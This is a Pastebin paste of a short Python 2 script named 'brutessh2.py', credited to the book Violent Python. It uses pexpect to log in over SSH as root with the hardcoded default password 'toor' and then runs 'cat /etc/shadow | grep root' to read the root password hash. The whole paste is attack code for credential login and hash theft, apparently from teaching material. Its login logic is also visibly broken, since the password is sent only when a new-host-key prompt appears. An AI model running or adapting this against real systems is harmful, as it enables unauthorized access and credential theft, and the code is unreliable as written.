Advertisement
rfmonk

brutessh2.py

Nov 25th, 2013
133
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.91 KB | None | 0 0
  1. #! /usr/bin/env python
  2. """ attribution to violent-python """
  3. import pexpect
  4. PROMPT = ['# ', '> ', '\$ ']
  5. def send_command(child, cmd):
  6.     child.sendline(cmd)
  7.     child.expect(PROMPT)
  8.     print child.before
  9. def connect(user, host, password):
  10.     ssh_newkey = 'Are you sure you want to continue connecting'
  11.     connStr = 'ssh ' + user + '@' + host
  12.     child = pexpect.spawn(connStr)
  13.     ret = child.expect([pexpect.TIMEOUT, ssh_newkey,
  14.         '[P|p]assword:'])
  15.     if ret == 0:
  16.         print '[-] Error Connecting'
  17.         return
  18.     if ret == 1:
  19.         child.sendline('yes')
  20.         ret = child.expect([pexpect.TIMEOUT, \
  21.             '[P|p]assword:'])
  22.         if ret == 0:
  23.             print '[-] Error Connecting'
  24.             return
  25.         child.sendline(password)
  26.         child.expect(PROMPT)
  27.         return child
  28. def main():
  29.     host = 'localhost'
  30.     user = 'root'
  31.     password = 'toor'
  32.     child = connect(user, host, password)
  33.     send_command(child, 'cat /etc/shadow | grep root')
  34. if __name__ == '__main__':
  35.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement